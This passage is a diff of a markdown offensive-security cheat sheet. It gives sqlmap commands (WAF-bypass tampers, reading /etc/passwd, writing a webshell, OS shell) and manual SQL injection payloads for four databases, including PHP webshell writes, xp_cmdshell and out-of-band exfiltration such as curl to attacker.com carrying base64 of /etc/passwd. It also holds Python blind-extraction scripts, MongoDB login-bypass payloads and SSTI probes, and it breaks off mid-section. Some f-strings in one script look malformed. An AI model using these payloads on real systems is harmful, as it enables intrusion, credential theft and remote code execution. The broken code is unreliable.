|
|
284
|
+
sqlmap -u "https://target.com/item?id=1" \
|
|
285
|
+
--tamper=apostrophemask,apostrophenullencode,base64encode,between,chardoubleencode,charencode,charunicodeencode,equaltolike,greatest,ifnull2ifisnull,modsecurityzeroversioned,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,sp_password,space2comment,space2dash,space2hash,space2morehash,space2mssqlblank,space2mssqlhash,space2mysqlblank,space2mysqldash,space2plus,space2randomblank,symboliclogical,unionalltounion,unmagicquotes \
|
|
286
|
+
--dbs
|
|
287
|
+
|
|
288
|
+
# OOB exfiltration via DNS (requires Burp Collaborator or interactsh)
|
|
289
|
+
sqlmap -u "https://target.com/item?id=1" \
|
|
290
|
+
--technique=Q \
|
|
291
|
+
--dns-domain=YOUR_COLLABORATOR_DOMAIN \
|
|
292
|
+
--dbs
|
|
293
|
+
|
|
294
|
+
# Second-order injection (store payload, trigger via different endpoint)
|
|
295
|
+
sqlmap -u "https://target.com/register" \
|
|
296
|
+
--data "username=*&email=test@test.com" \
|
|
297
|
+
--second-url "https://target.com/profile" \
|
|
298
|
+
--dbs
|
|
299
|
+
|
|
300
|
+
# Proxy through Burp for traffic review
|
|
301
|
+
sqlmap -u "https://target.com/item?id=1" \
|
|
302
|
+
--proxy=http://127.0.0.1:8080 \
|
|
303
|
+
--dbs
|
|
304
|
+
|
|
305
|
+
# Batch mode (no prompts, useful for automation)
|
|
306
|
+
sqlmap -u "https://target.com/item?id=1" \
|
|
307
|
+
--batch \
|
|
308
|
+
--dbs
|
|
309
|
+
|
|
310
|
+
# Read files from server (MySQL requires FILE privilege)
|
|
311
|
+
sqlmap -u "https://target.com/item?id=1" \
|
|
312
|
+
--file-read=/etc/passwd
|
|
313
|
+
|
|
314
|
+
# Write files to server (requires write permission)
|
|
315
|
+
sqlmap -u "https://target.com/item?id=1" \
|
|
316
|
+
--file-write=./webshell.php \
|
|
317
|
+
--file-dest=/var/www/html/shell.php
|
|
318
|
+
|
|
319
|
+
# Get OS shell (MSSQL: xp_cmdshell; MySQL: UDF; PostgreSQL: COPY)
|
|
320
|
+
sqlmap -u "https://target.com/item?id=1" \
|
|
321
|
+
--os-shell
|
|
322
|
+
|
|
323
|
+
# Custom injection marker in POST body
|
|
324
|
+
sqlmap -u "https://target.com/api" \
|
|
325
|
+
--data '{"id": "*", "action": "view"}' \
|
|
326
|
+
--content-type "application/json" \
|
|
327
|
+
--dbs
|
|
328
|
+
|
|
329
|
+
# Crawl and auto-test all forms
|
|
330
|
+
sqlmap -u "https://target.com/" \
|
|
331
|
+
--crawl=3 \
|
|
332
|
+
--forms \
|
|
333
|
+
--batch \
|
|
334
|
+
--dbs
|
|
335
|
+
|
|
336
|
+
# Save session and resume
|
|
337
|
+
sqlmap -u "https://target.com/item?id=1" \
|
|
338
|
+
--session-file=./sqli_session.sqlite \
|
|
339
|
+
--dbs
|
|
340
|
+
|
|
341
|
+
# Flush session and restart
|
|
342
|
+
sqlmap -u "https://target.com/item?id=1" \
|
|
343
|
+
--flush-session \
|
|
344
|
+
--dbs
|
|
345
|
+
```
|
|
346
|
+
|
|
347
|
+
#### EXPERT sqlmap Commands
|
|
348
|
+
|
|
349
|
+
```bash
|
|
350
|
+
# Custom Python tamper script
|
|
351
|
+
# Save as custom_tamper.py in sqlmap/tamper/
|
|
352
|
+
cat > /usr/share/sqlmap/tamper/custom_tamper.py << 'EOF'
|
|
353
|
+
#!/usr/bin/env python
|
|
354
|
+
from lib.core.enums import PRIORITY
|
|
355
|
+
|
|
356
|
+
__priority__ = PRIORITY.NORMAL
|
|
357
|
+
|
|
358
|
+
def dependencies():
|
|
359
|
+
pass
|
|
360
|
+
|
|
361
|
+
def tamper(payload, **kwargs):
|
|
362
|
+
"""
|
|
363
|
+
Replace spaces with /**/ and encode SELECT as SeLeCt
|
|
364
|
+
"""
|
|
365
|
+
if payload:
|
|
366
|
+
payload = payload.replace(" ", "/**/")
|
|
367
|
+
payload = payload.replace("SELECT", "SeLeCt")
|
|
368
|
+
payload = payload.replace("UNION", "UnIoN")
|
|
369
|
+
return payload
|
|
370
|
+
EOF
|
|
371
|
+
|
|
372
|
+
# Use custom tamper
|
|
373
|
+
sqlmap -u "https://target.com/item?id=1" \
|
|
374
|
+
--tamper=custom_tamper \
|
|
375
|
+
--dbs
|
|
376
|
+
|
|
377
|
+
# Exploit stacked queries to enable xp_cmdshell (MSSQL)
|
|
378
|
+
sqlmap -u "https://target.com/item?id=1" \
|
|
379
|
+
--dbms=mssql \
|
|
380
|
+
--technique=S \
|
|
381
|
+
--os-cmd="whoami" \
|
|
382
|
+
--batch
|
|
383
|
+
|
|
384
|
+
# PostgreSQL COPY TO for RCE
|
|
385
|
+
sqlmap -u "https://target.com/item?id=1" \
|
|
386
|
+
--dbms=postgresql \
|
|
387
|
+
--os-shell \
|
|
388
|
+
--batch
|
|
389
|
+
|
|
390
|
+
# Hex-encode entire payload to bypass string filters
|
|
391
|
+
sqlmap -u "https://target.com/item?id=1" \
|
|
392
|
+
--tamper=charencode,hex2char \
|
|
393
|
+
--dbs
|
|
394
|
+
|
|
395
|
+
# Test for injection in XML/SOAP body
|
|
396
|
+
sqlmap -u "https://target.com/soap" \
|
|
397
|
+
--data '<?xml version="1.0"?><root><id>*</id></root>' \
|
|
398
|
+
--content-type "text/xml" \
|
|
399
|
+
--dbs
|
|
400
|
+
|
|
401
|
+
# Multipart form data
|
|
402
|
+
sqlmap -u "https://target.com/upload" \
|
|
403
|
+
--data "field1=value&inject=*" \
|
|
404
|
+
--multipart \
|
|
405
|
+
--dbs
|
|
406
|
+
```
|
|
407
|
+
|
|
408
|
+
---
|
|
409
|
+
|
|
410
|
+
### Phase 3: Manual SQL Payloads by Database Type
|
|
411
|
+
|
|
412
|
+
#### MySQL Manual Payloads
|
|
413
|
+
|
|
414
|
+
```sql
|
|
415
|
+
-- Version detection
|
|
416
|
+
' AND 1=1 UNION SELECT @@version,null--+
|
|
417
|
+
' AND 1=1 UNION SELECT version(),null--+
|
|
418
|
+
|
|
419
|
+
-- Current DB
|
|
420
|
+
' UNION SELECT database(),null--+
|
|
421
|
+
|
|
422
|
+
-- List all databases
|
|
423
|
+
' UNION SELECT GROUP_CONCAT(schema_name),null FROM information_schema.schemata--+
|
|
424
|
+
|
|
425
|
+
-- List tables in database
|
|
426
|
+
' UNION SELECT GROUP_CONCAT(table_name),null FROM information_schema.tables WHERE table_schema=database()--+
|
|
427
|
+
|
|
428
|
+
-- List columns
|
|
429
|
+
' UNION SELECT GROUP_CONCAT(column_name),null FROM information_schema.columns WHERE table_name='users'--+
|
|
430
|
+
|
|
431
|
+
-- Dump data (adjust column count with null padding)
|
|
432
|
+
' UNION SELECT username,password FROM users--+
|
|
433
|
+
|
|
434
|
+
-- Dump with hex encoding (bypass quote filters)
|
|
435
|
+
' UNION SELECT username,password FROM users WHERE username=0x61646d696e--+
|
|
436
|
+
|
|
437
|
+
-- Read file
|
|
438
|
+
' UNION SELECT LOAD_FILE('/etc/passwd'),null--+
|
|
439
|
+
|
|
440
|
+
-- Write file (webshell)
|
|
441
|
+
' UNION SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php'--+
|
|
442
|
+
|
|
443
|
+
-- Stacked query UDF load (RCE)
|
|
444
|
+
'; CREATE TABLE tmp (data BLOB);
|
|
445
|
+
INSERT INTO tmp VALUES (LOAD_FILE('/tmp/udf.so'));
|
|
446
|
+
SELECT data FROM tmp INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so';
|
|
447
|
+
CREATE FUNCTION sys_exec RETURNS INT SONAME 'udf.so';
|
|
448
|
+
SELECT sys_exec('id > /tmp/pwned');--+
|
|
449
|
+
|
|
450
|
+
-- Time-based blind (1 second delay if true)
|
|
451
|
+
' AND SLEEP(1)--+
|
|
452
|
+
' AND IF(1=1,SLEEP(1),0)--+
|
|
453
|
+
' AND IF(SUBSTRING(database(),1,1)='a',SLEEP(1),0)--+
|
|
454
|
+
|
|
455
|
+
-- Boolean-based blind (extract DB name char by char)
|
|
456
|
+
' AND SUBSTRING(database(),1,1)='t'--+
|
|
457
|
+
' AND ASCII(SUBSTRING(database(),1,1))>100--+
|
|
458
|
+
' AND (SELECT COUNT(*) FROM information_schema.tables WHERE table_schema=database())>5--+
|
|
459
|
+
|
|
460
|
+
-- Error-based (extractvalue)
|
|
461
|
+
' AND extractvalue(1,concat(0x7e,(SELECT database())))--+
|
|
462
|
+
' AND extractvalue(1,concat(0x7e,(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database())))--+
|
|
463
|
+
|
|
464
|
+
-- Error-based (updatexml)
|
|
465
|
+
' AND updatexml(1,concat(0x7e,(SELECT database())),1)--+
|
|
466
|
+
|
|
467
|
+
-- OOB via LOAD_FILE with UNC (Windows MySQL)
|
|
468
|
+
' AND LOAD_FILE(concat('\\\\',database(),'.attacker.com\\share'))--+
|
|
469
|
+
|
|
470
|
+
-- Bypass quote with char()
|
|
471
|
+
' UNION SELECT char(114,111,111,116),null--+
|
|
472
|
+
```
|
|
473
|
+
|
|
474
|
+
#### PostgreSQL Manual Payloads
|
|
475
|
+
|
|
476
|
+
```sql
|
|
477
|
+
-- Version
|
|
478
|
+
' UNION SELECT version(),null--
|
|
479
|
+
'; SELECT version()--
|
|
480
|
+
|
|
481
|
+
-- Current database and user
|
|
482
|
+
' UNION SELECT current_database(),current_user--
|
|
483
|
+
|
|
484
|
+
-- List databases
|
|
485
|
+
' UNION SELECT string_agg(datname,','),null FROM pg_database--
|
|
486
|
+
|
|
487
|
+
-- List tables
|
|
488
|
+
' UNION SELECT string_agg(tablename,','),null FROM pg_tables WHERE schemaname='public'--
|
|
489
|
+
|
|
490
|
+
-- List columns
|
|
491
|
+
' UNION SELECT string_agg(column_name,','),null FROM information_schema.columns WHERE table_name='users'--
|
|
492
|
+
|
|
493
|
+
-- Dump data
|
|
494
|
+
' UNION SELECT username,password FROM users--
|
|
495
|
+
|
|
496
|
+
-- Read file (superuser required)
|
|
497
|
+
' UNION SELECT pg_read_file('/etc/passwd'),null--
|
|
498
|
+
|
|
499
|
+
-- Write file via COPY TO (superuser)
|
|
500
|
+
'; COPY (SELECT '<?php system($_GET["cmd"]); ?>') TO '/var/www/html/shell.php'--
|
|
501
|
+
|
|
502
|
+
-- Execute OS command via COPY FROM PROGRAM (PostgreSQL 9.3+, superuser)
|
|
503
|
+
'; COPY cmd_output FROM PROGRAM 'id'--
|
|
504
|
+
'; CREATE TABLE cmd_out(output text); COPY cmd_out FROM PROGRAM 'id'; SELECT * FROM cmd_out--
|
|
505
|
+
|
|
506
|
+
-- Time-based blind
|
|
507
|
+
'; SELECT pg_sleep(1)--
|
|
508
|
+
' AND 1=(SELECT 1 FROM pg_sleep(1))--
|
|
509
|
+
'; SELECT CASE WHEN (1=1) THEN pg_sleep(1) ELSE pg_sleep(0) END--
|
|
510
|
+
|
|
511
|
+
-- Boolean-based blind
|
|
512
|
+
' AND 1=(SELECT 1 FROM pg_catalog.pg_tables WHERE tablename='users' LIMIT 1)--
|
|
513
|
+
' AND (SELECT SUBSTRING(current_database(),1,1))='t'--
|
|
514
|
+
|
|
515
|
+
-- Stacked queries (if allowed)
|
|
516
|
+
'; INSERT INTO logs(data) VALUES('pwned')--
|
|
517
|
+
|
|
518
|
+
-- OOB via dblink extension
|
|
519
|
+
'; SELECT dblink_connect('host=attacker.com user=a password=a dbname=a')--
|
|
520
|
+
|
|
521
|
+
-- OOB via copy to program
|
|
522
|
+
'; COPY (SELECT current_database()) TO PROGRAM 'curl http://attacker.com/?d=$(cat /etc/passwd|base64)'--
|
|
523
|
+
|
|
524
|
+
-- Error-based
|
|
525
|
+
' AND 1=CAST((SELECT table_name FROM information_schema.tables LIMIT 1) AS INT)--
|
|
526
|
+
```
|
|
527
|
+
|
|
528
|
+
#### MSSQL Manual Payloads
|
|
529
|
+
|
|
530
|
+
```sql
|
|
531
|
+
-- Version
|
|
532
|
+
' UNION SELECT @@version,null--
|
|
533
|
+
'; SELECT @@version--
|
|
534
|
+
|
|
535
|
+
-- Current DB and user
|
|
536
|
+
' UNION SELECT DB_NAME(),SYSTEM_USER--
|
|
537
|
+
|
|
538
|
+
-- List databases
|
|
539
|
+
' UNION SELECT name,null FROM master.sys.databases--
|
|
540
|
+
' UNION SELECT STRING_AGG(name,','),null FROM master.sys.databases--
|
|
541
|
+
|
|
542
|
+
-- List tables
|
|
543
|
+
' UNION SELECT STRING_AGG(table_name,','),null FROM information_schema.tables--
|
|
544
|
+
|
|
545
|
+
-- List columns
|
|
546
|
+
' UNION SELECT STRING_AGG(column_name,','),null FROM information_schema.columns WHERE table_name='users'--
|
|
547
|
+
|
|
548
|
+
-- Dump data
|
|
549
|
+
' UNION SELECT username,password FROM users--
|
|
550
|
+
|
|
551
|
+
-- Enable xp_cmdshell (requires sysadmin)
|
|
552
|
+
'; EXEC sp_configure 'show advanced options',1; RECONFIGURE;
|
|
553
|
+
EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE--
|
|
554
|
+
|
|
555
|
+
-- Execute OS command
|
|
556
|
+
'; EXEC xp_cmdshell 'whoami'--
|
|
557
|
+
'; EXEC xp_cmdshell 'powershell -enc BASE64ENCODEDCOMMAND'--
|
|
558
|
+
|
|
559
|
+
-- Read file
|
|
560
|
+
'; BULK INSERT tmpTable FROM 'C:\Windows\System32\drivers\etc\hosts'--
|
|
561
|
+
|
|
562
|
+
-- Write file via xp_cmdshell
|
|
563
|
+
'; EXEC xp_cmdshell 'echo ^<?php system($_GET["cmd"]); ?^> > C:\inetpub\wwwroot\shell.php'--
|
|
564
|
+
|
|
565
|
+
-- Time-based blind
|
|
566
|
+
'; WAITFOR DELAY '0:0:5'--
|
|
567
|
+
'; IF (1=1) WAITFOR DELAY '0:0:5'--
|
|
568
|
+
'; IF (SELECT COUNT(*) FROM users)>0 WAITFOR DELAY '0:0:5'--
|
|
569
|
+
|
|
570
|
+
-- Boolean-based blind
|
|
571
|
+
'; IF (SELECT SUBSTRING(DB_NAME(),1,1))='m' SELECT 1--
|
|
572
|
+
'; IF EXISTS(SELECT * FROM users WHERE username='admin') SELECT 1--
|
|
573
|
+
|
|
574
|
+
-- Stacked queries
|
|
575
|
+
'; INSERT INTO log_table(data) VALUES('test')--
|
|
576
|
+
|
|
577
|
+
-- OOB via xp_dirtree (triggers DNS lookup)
|
|
578
|
+
'; EXEC master..xp_dirtree '\\attacker.com\share'--
|
|
579
|
+
'; EXEC master..xp_fileexist '\\attacker.com\share'--
|
|
580
|
+
|
|
581
|
+
-- OOB via OpenRowset
|
|
582
|
+
'; SELECT * FROM OPENROWSET('SQLOLEDB','server=attacker.com;uid=sa;pwd=pass','SELECT 1')--
|
|
583
|
+
|
|
584
|
+
-- Linked server lateral movement
|
|
585
|
+
'; SELECT * FROM LINKEDSERVER.database.schema.table--
|
|
586
|
+
'; EXEC ('xp_cmdshell ''whoami''') AT LINKEDSERVER--
|
|
587
|
+
|
|
588
|
+
-- Error-based
|
|
589
|
+
' AND 1=CONVERT(int,(SELECT TOP 1 table_name FROM information_schema.tables))--
|
|
590
|
+
|
|
591
|
+
-- Bypass quotes with CHAR()
|
|
592
|
+
' UNION SELECT CHAR(97)+CHAR(100)+CHAR(109)+CHAR(105)+CHAR(110),null--
|
|
593
|
+
|
|
594
|
+
-- sp_password to hide from logs
|
|
595
|
+
'; EXEC sp_password null,'newpass','admin'--
|
|
596
|
+
```
|
|
597
|
+
|
|
598
|
+
#### Oracle Manual Payloads
|
|
599
|
+
|
|
600
|
+
```sql
|
|
601
|
+
-- Version
|
|
602
|
+
' UNION SELECT banner,null FROM v$version--
|
|
603
|
+
' UNION SELECT version,null FROM v$instance--
|
|
604
|
+
|
|
605
|
+
-- Current user and database
|
|
606
|
+
' UNION SELECT user,global_name FROM global_name--
|
|
607
|
+
|
|
608
|
+
-- List tables (current user)
|
|
609
|
+
' UNION SELECT table_name,null FROM user_tables--
|
|
610
|
+
|
|
611
|
+
-- List all tables (DBA access)
|
|
612
|
+
' UNION SELECT table_name,null FROM all_tables--
|
|
613
|
+
|
|
614
|
+
-- List columns
|
|
615
|
+
' UNION SELECT column_name,null FROM all_columns WHERE table_name='USERS'--
|
|
616
|
+
|
|
617
|
+
-- Dump data
|
|
618
|
+
' UNION SELECT username,password FROM users--
|
|
619
|
+
|
|
620
|
+
-- Must use FROM DUAL for single-row selects
|
|
621
|
+
' UNION SELECT 'test',null FROM DUAL--
|
|
622
|
+
|
|
623
|
+
-- Time-based blind (heavy query)
|
|
624
|
+
' AND 1=(SELECT COUNT(*) FROM all_objects,all_objects,all_objects)--
|
|
625
|
+
' OR 1=1 AND DBMS_PIPE.RECEIVE_MESSAGE(('a'),5)=1--
|
|
626
|
+
|
|
627
|
+
-- Boolean-based blind
|
|
628
|
+
' AND SUBSTR((SELECT user FROM DUAL),1,1)='S'--
|
|
629
|
+
' AND (SELECT COUNT(*) FROM user_tables)>10--
|
|
630
|
+
|
|
631
|
+
-- Error-based (CTXSYS.DRITHSX.SN)
|
|
632
|
+
' AND 1=CTXSYS.DRITHSX.SN(user,(SELECT user FROM DUAL))--
|
|
633
|
+
' AND 1=UTL_INADDR.GET_HOST_NAME((SELECT user FROM DUAL))--
|
|
634
|
+
|
|
635
|
+
-- OOB via UTL_HTTP (requires network ACL)
|
|
636
|
+
' UNION SELECT UTL_HTTP.request('http://attacker.com/?d='||user),null FROM DUAL--
|
|
637
|
+
|
|
638
|
+
-- OOB via UTL_FILE
|
|
639
|
+
' UNION SELECT null,null FROM DUAL WHERE 1=(SELECT UTL_FILE.FOPEN('DIR','file.txt','W') FROM DUAL)--
|
|
640
|
+
|
|
641
|
+
-- Read file via UTL_FILE
|
|
642
|
+
'; DECLARE f UTL_FILE.FILE_TYPE; s VARCHAR2(200);
|
|
643
|
+
BEGIN f := UTL_FILE.FOPEN('/etc','passwd','R');
|
|
644
|
+
UTL_FILE.GET_LINE(f,s); DBMS_OUTPUT.PUT_LINE(s);
|
|
645
|
+
UTL_FILE.FCLOSE(f); END;--
|
|
646
|
+
|
|
647
|
+
-- Java stored procedure for RCE (DBA required)
|
|
648
|
+
'; EXEC DBMS_JAVA.GRANT_PERMISSION('PUBLIC','SYS:java.io.FilePermission','<<ALL FILES>>','execute')--
|
|
649
|
+
```
|
|
650
|
+
|
|
651
|
+
---
|
|
652
|
+
|
|
653
|
+
### Phase 4: Blind SQL Injection Techniques
|
|
654
|
+
|
|
655
|
+
#### Time-Based Blind — Extract Data Character by Character
|
|
656
|
+
|
|
657
|
+
```python
|
|
658
|
+
#!/usr/bin/env python3
|
|
659
|
+
"""
|
|
660
|
+
Time-based blind SQL injection data extractor.
|
|
661
|
+
Adjust TARGET, PARAM, QUERY, and SLEEP_THRESHOLD as needed.
|
|
662
|
+
"""
|
|
663
|
+
import requests
|
|
664
|
+
import time
|
|
665
|
+
import string
|
|
666
|
+
|
|
667
|
+
TARGET = "https://target.com/item"
|
|
668
|
+
PARAM = "id"
|
|
669
|
+
SLEEP_SEC = 3
|
|
670
|
+
THRESHOLD = SLEEP_SEC - 0.5
|
|
671
|
+
CHARSET = string.printable
|
|
672
|
+
|
|
673
|
+
def check_char(position, char, db_type="mysql"):
|
|
674
|
+
payloads = {
|
|
675
|
+
"mysql": f"1 AND IF(SUBSTRING(({{}}}),{position},1)='{char}',SLEEP({SLEEP_SEC}),0)--+",
|
|
676
|
+
"mssql": f"1; IF SUBSTRING(({{}}}),{position},1)='{char}' WAITFOR DELAY '0:0:{SLEEP_SEC}'--",
|
|
677
|
+
"pgsql": f"1; SELECT CASE WHEN SUBSTRING(({{}}}),{position},1)='{char}' THEN pg_sleep({SLEEP_SEC}) ELSE pg_sleep(0) END--"
|
|
678
|
+
}
|
|
679
|
+
|
|
680
|
+
query = "SELECT database()" # Change to your target query
|
|
681
|
+
payload = payloads[db_type].format(query)
|
|
682
|
+
|
|
683
|
+
params = {PARAM: payload}
|
|
684
|
+
start = time.time()
|
|
685
|
+
try:
|
|
686
|
+
requests.get(TARGET, params=params, timeout=SLEEP_SEC + 5)
|
|
687
|
+
except requests.exceptions.Timeout:
|
|
688
|
+
return True
|
|
689
|
+
elapsed = time.time() - start
|
|
690
|
+
return elapsed >= THRESHOLD
|
|
691
|
+
|
|
692
|
+
def extract_data(max_length=50, db_type="mysql"):
|
|
693
|
+
result = ""
|
|
694
|
+
for pos in range(1, max_length + 1):
|
|
695
|
+
found = False
|
|
696
|
+
for char in CHARSET:
|
|
697
|
+
if check_char(pos, char, db_type):
|
|
698
|
+
result += char
|
|
699
|
+
print(f"[+] Position {pos}: {char} → Current: {result}")
|
|
700
|
+
found = True
|
|
701
|
+
break
|
|
702
|
+
if not found:
|
|
703
|
+
print(f"[*] No character found at position {pos}. Stopping.")
|
|
704
|
+
break
|
|
705
|
+
return result
|
|
706
|
+
|
|
707
|
+
if __name__ == "__main__":
|
|
708
|
+
print("[*] Starting time-based blind SQLi extraction")
|
|
709
|
+
data = extract_data(db_type="mysql")
|
|
710
|
+
print(f"\n[+] Extracted: {data}")
|
|
711
|
+
```
|
|
712
|
+
|
|
713
|
+
#### Boolean-Based Blind — Binary Search Approach
|
|
714
|
+
|
|
715
|
+
```python
|
|
716
|
+
#!/usr/bin/env python3
|
|
717
|
+
"""
|
|
718
|
+
Boolean-based blind SQL injection with binary search (faster than linear).
|
|
719
|
+
"""
|
|
720
|
+
import requests
|
|
721
|
+
|
|
722
|
+
TARGET = "https://target.com/item"
|
|
723
|
+
PARAM = "id"
|
|
724
|
+
TRUE_CONDITION = "Welcome" # String present when condition is TRUE
|
|
725
|
+
|
|
726
|
+
def is_true(payload):
|
|
727
|
+
params = {PARAM: payload}
|
|
728
|
+
r = requests.get(TARGET, params=params)
|
|
729
|
+
return TRUE_CONDITION in r.text
|
|
730
|
+
|
|
731
|
+
def extract_char(query, position):
|
|
732
|
+
"""Binary search for ASCII value of character at position."""
|
|
733
|
+
low, high = 32, 126
|
|
734
|
+
while low <= high:
|
|
735
|
+
mid = (low + high) // 2
|
|
736
|
+
payload = f"1 AND ASCII(SUBSTRING(({query}),{position},1))>{mid}--+"
|
|
737
|
+
if is_true(payload):
|
|
738
|
+
low = mid + 1
|
|
739
|
+
else:
|
|
740
|
+
payload = f"1 AND ASCII(SUBSTRING(({query}),{position},1))={mid}--+"
|
|
741
|
+
if is_true(payload):
|
|
742
|
+
return chr(mid)
|
|
743
|
+
high = mid - 1
|
|
744
|
+
return None
|
|
745
|
+
|
|
746
|
+
def extract_string(query, max_length=100):
|
|
747
|
+
result = ""
|
|
748
|
+
for i in range(1, max_length + 1):
|
|
749
|
+
char = extract_char(query, i)
|
|
750
|
+
if char is None:
|
|
751
|
+
break
|
|
752
|
+
result += char
|
|
753
|
+
print(f"\r[+] Extracted so far: {result}", end="", flush=True)
|
|
754
|
+
print()
|
|
755
|
+
return result
|
|
756
|
+
|
|
757
|
+
if __name__ == "__main__":
|
|
758
|
+
query = "SELECT database()"
|
|
759
|
+
print(f"[*] Extracting: {query}")
|
|
760
|
+
data = extract_string(query)
|
|
761
|
+
print(f"[+] Result: {data}")
|
|
762
|
+
```
|
|
763
|
+
|
|
764
|
+
---
|
|
765
|
+
|
|
766
|
+
## 4. NoSQL Injection
|
|
767
|
+
|
|
768
|
+
### MongoDB Injection Payloads
|
|
769
|
+
|
|
770
|
+
#### Authentication Bypass
|
|
771
|
+
|
|
772
|
+
```javascript
|
|
773
|
+
// Login form with JSON body
|
|
774
|
+
// Original: {"username": "admin", "password": "secret"}
|
|
775
|
+
|
|
776
|
+
// Bypass with $ne operator
|
|
777
|
+
{"username": "admin", "password": {"$ne": "invalid"}}
|
|
778
|
+
|
|
779
|
+
// Bypass with $gt operator
|
|
780
|
+
{"username": "admin", "password": {"$gt": ""}}
|
|
781
|
+
|
|
782
|
+
// Bypass with $regex
|
|
783
|
+
{"username": {"$regex": ".*"}, "password": {"$regex": ".*"}}
|
|
784
|
+
|
|
785
|
+
// Bypass with $where (JavaScript execution)
|
|
786
|
+
{"username": "admin", "$where": "this.password.length > 0"}
|
|
787
|
+
|
|
788
|
+
// In URL-encoded form parameters
|
|
789
|
+
username=admin&password[$ne]=invalid
|
|
790
|
+
username[$regex]=.*&password[$ne]=invalid
|
|
791
|
+
username[$gt]=&password[$gt]=
|
|
792
|
+
|
|
793
|
+
// In JSON with comment injection
|
|
794
|
+
{"username": "admin", "password": "x", "$comment": "injection"}
|
|
795
|
+
```
|
|
796
|
+
|
|
797
|
+
#### Data Exfiltration via NoSQL Injection
|
|
798
|
+
|
|
799
|
+
```javascript
|
|
800
|
+
// Extract usernames using $regex (binary search approach)
|
|
801
|
+
// Test if username starts with 'a'
|
|
802
|
+
{"username": {"$regex": "^a"}, "password": {"$ne": "x"}}
|
|
803
|
+
|
|
804
|
+
// Extract all documents matching pattern
|
|
805
|
+
{"username": {"$regex": ".*"}, "password": {"$ne": "x"}}
|
|
806
|
+
|
|
807
|
+
// Blind extraction script
|
|
808
|
+
```
|
|
809
|
+
|
|
810
|
+
```python
|
|
811
|
+
#!/usr/bin/env python3
|
|
812
|
+
"""MongoDB NoSQL injection blind data extraction."""
|
|
813
|
+
import requests
|
|
814
|
+
import string
|
|
815
|
+
|
|
816
|
+
TARGET = "https://target.com/api/login"
|
|
817
|
+
TRUE_INDICATOR = "dashboard"
|
|
818
|
+
|
|
819
|
+
def test_payload(regex_pattern):
|
|
820
|
+
payload = {
|
|
821
|
+
"username": {"$regex": regex_pattern},
|
|
822
|
+
"password": {"$ne": "invalid"}
|
|
823
|
+
}
|
|
824
|
+
r = requests.post(TARGET, json=payload)
|
|
825
|
+
return TRUE_INDICATOR in r.text
|
|
826
|
+
|
|
827
|
+
def extract_username(max_length=50):
|
|
828
|
+
charset = string.ascii_letters + string.digits + "_@."
|
|
829
|
+
result = ""
|
|
830
|
+
for _ in range(max_length):
|
|
831
|
+
found = False
|
|
832
|
+
for char in charset:
|
|
833
|
+
pattern = f"^{result}{char}"
|
|
834
|
+
if test_payload(pattern):
|
|
835
|
+
result += char
|
|
836
|
+
print(f"[+] Found so far: {result}")
|
|
837
|
+
found = True
|
|
838
|
+
break
|
|
839
|
+
if not found:
|
|
840
|
+
break
|
|
841
|
+
return result
|
|
842
|
+
|
|
843
|
+
if __name__ == "__main__":
|
|
844
|
+
print("[*] Extracting first username via NoSQL regex injection")
|
|
845
|
+
username = extract_username()
|
|
846
|
+
print(f"[+] Username: {username}")
|
|
847
|
+
```
|
|
848
|
+
|
|
849
|
+
#### MongoDB Operator Injections
|
|
850
|
+
|
|
851
|
+
```
|
|
852
|
+
# $where with JavaScript (if JS engine enabled)
|
|
853
|
+
?filter={"$where": "function(){return true;}"}
|
|
854
|
+
?filter={"$where": "sleep(1000)"} # Time-based
|
|
855
|
+
|
|
856
|
+
# $lookup injection (MongoDB aggregation)
|
|
857
|
+
?stage={"$lookup":{"from":"users","localField":"id","foreignField":"_id","as":"data"}}
|
|
858
|
+
|
|
859
|
+
# Object injection in ORMs
|
|
860
|
+
# Mongoose lean() bypass
|
|
861
|
+
?populate={"path":"users","select":"password"}
|
|
862
|
+
|
|
863
|
+
# In PHP with array parameters
|
|
864
|
+
?username[]=admin&username[][$ne]=x (converts to {"username": ["admin", {"$ne": "x"}]})
|
|
865
|
+
```
|
|
866
|
+
|
|
867
|
+
---
|
|
868
|
+
|
|
869
|
+
## 5. Server-Side Template Injection (SSTI)
|
|
870
|
+
|
|
871
|
+
### Detection Methodology
|
|
872
|
+
|
|
873
|
+
**Step 1: Inject universal probe strings**
|
|
874
|
+
|
|
875
|
+
```
|
|
876
|
+
# Mathematical expressions (if rendered, SSTI confirmed)
|
|
877
|
+
{{7*7}} → 49 (Jinja2, Twig)
|
|
878
|
+
${7*7} → 49 (FreeMarker, some others)
|
|
879
|
+
<%= 7*7 %> → 49 (ERB)
|
|
880
|
+
#{7*7} → 49 (Ruby)
|
|
881
|
+
*{7*7} → 49 (Spring/Thymeleaf)
|
|
882
|
+
${{7*7}} → 49 (some configurations)
|
|
883
|
+
{{7*'7'}} → 7777777 (Jinja2 specific — multiplies string)
|
|
884
|
+
{{7*'7'}} → 49 (Twig specific — arithmetic)
|
|
885
|
+
|
|
886
|
+
# Use this decision tree to fingerprint engine:
|
|
887
|
+
# 1. {{7*7}} → 49? → Yes → Jinja2 or Twig
|
|
888
|
+
# Then: {{7*'7'}} → 7777777 = Jinja2 | 49 = Twig
|
|
889
|
+
# 2. ${7*7} → 49? → Yes → FreeMarker or Velocity
|
|
890
|
+
# 3. No execution → try ERB, Smarty, Pebble
|
|
891
|
+
```
|
|
892
|
+
|
|
893
|
+
**Step 2: Confirm and fingerprint with engine-specific payloads**
|
|
894
|
+
|
|
895
|
+
```
|
|
896
|
+
# Jinja2 fingerprint
|
|
897
|
+
{{config}} → reveals Flask config object
|
|
898
|
+
{{config.items()}} → all config key-value pairs
|
|
899
|
+
{{request.environ}} → WSGI environ
|
|
900
|
+
|
|
901
|
+
# Twig fingerprint
|
|
902
|
+
{{_self.env}} → Twig environment object
|
|
903
|
+
{{_self.env.getExtensions()}}
|
|
904
|
+
|
|
905
|
+
# FreeMarker fingerprint
|
|
906
|
+
${.data_model}
|
|
907
|
+
${.version} → FreeMarker version
|
|
908
|
+
|
|
909
|
+
# Smarty fingerprint
|
|
910
|
+
{$smarty.version}
|
|
911
|
+
{php}echo phpinfo();{/php} → Smarty 3 (if PHP tags enabled)
|
|
912
|
+
```
|
|
913
|
+
|
|
914
|
+
### Jinja2 SSTI Exploitation Chain
|
|
915
|
+
|
|
916
|
+
```python
|
|
917
|
+
# Basic code execution
|
|
918
|
+
{{7*7}}
|
|
919
